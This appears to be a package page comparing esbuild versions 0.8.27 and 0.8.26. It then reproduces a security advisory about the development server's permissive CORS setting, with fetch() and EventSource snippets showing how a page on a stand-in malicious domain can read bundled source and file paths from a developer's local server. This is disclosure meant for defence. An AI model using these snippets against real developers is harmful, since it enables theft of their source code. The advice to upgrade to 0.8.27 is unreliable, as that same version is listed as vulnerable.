Esbuild version 0.8.27 marks a subtle yet noteworthy update over its predecessor, version 0.8.26, in the rapidly evolving landscape of JavaScript bundling and minification. Both versions continue to champion esbuild's core philosophy: providing developers with an exceptionally fast tool for optimizing web assets. The package description remains consistent, highlighting its speed and core functionalities.
Delving into the data reveals a minor increase in the unpacked size of version 0.8.27, totaling 61842 bytes compared to version 0.8.26's 61645 bytes. While the file count remains constant at 6, this slight increase in size suggests internal improvements or bug fixes bundled into the newer release. Developers prioritizing the absolute smallest possible bundle size might find this difference relevant, though the impact is likely minimal for most projects.
The release date also distinguishes the two. Version 0.8.27 was published on December 29, 2020, following version 0.8.26 which was released a week before on December 21, 2020. Often, such quick updates may address critical bugs spotted in the previous version or integrate small enhancements driven by user feedback. Thus, for developers adopting esbuild, utilizing the latest 0.8.27 is advisable, primarily due to its potential bug fixes. Given the fast-paced development cycle characteristic of modern JavaScript tools, staying up-to-date translates to accessing the most stable and refined iteration of the bundler, with potential positive knock-on effects for build performance and application stability.
All the vulnerabilities related to the version 0.8.27 of the package
esbuild enables any website to send any requests to the development server and read the response
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
esbuild sets Access-Control-Allow-Origin: * header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
Attack scenario:
http://malicious.example.com).fetch('http://127.0.0.1:8000/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:8000/main.js.In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
/index.html: normally you have a script tag here/assets: it's common to have a assets directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files/esbuild SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data)))The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
npm inpm run watchfetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content)) in a different website's dev tools.Users using the serve feature may get the source code stolen by malicious websites.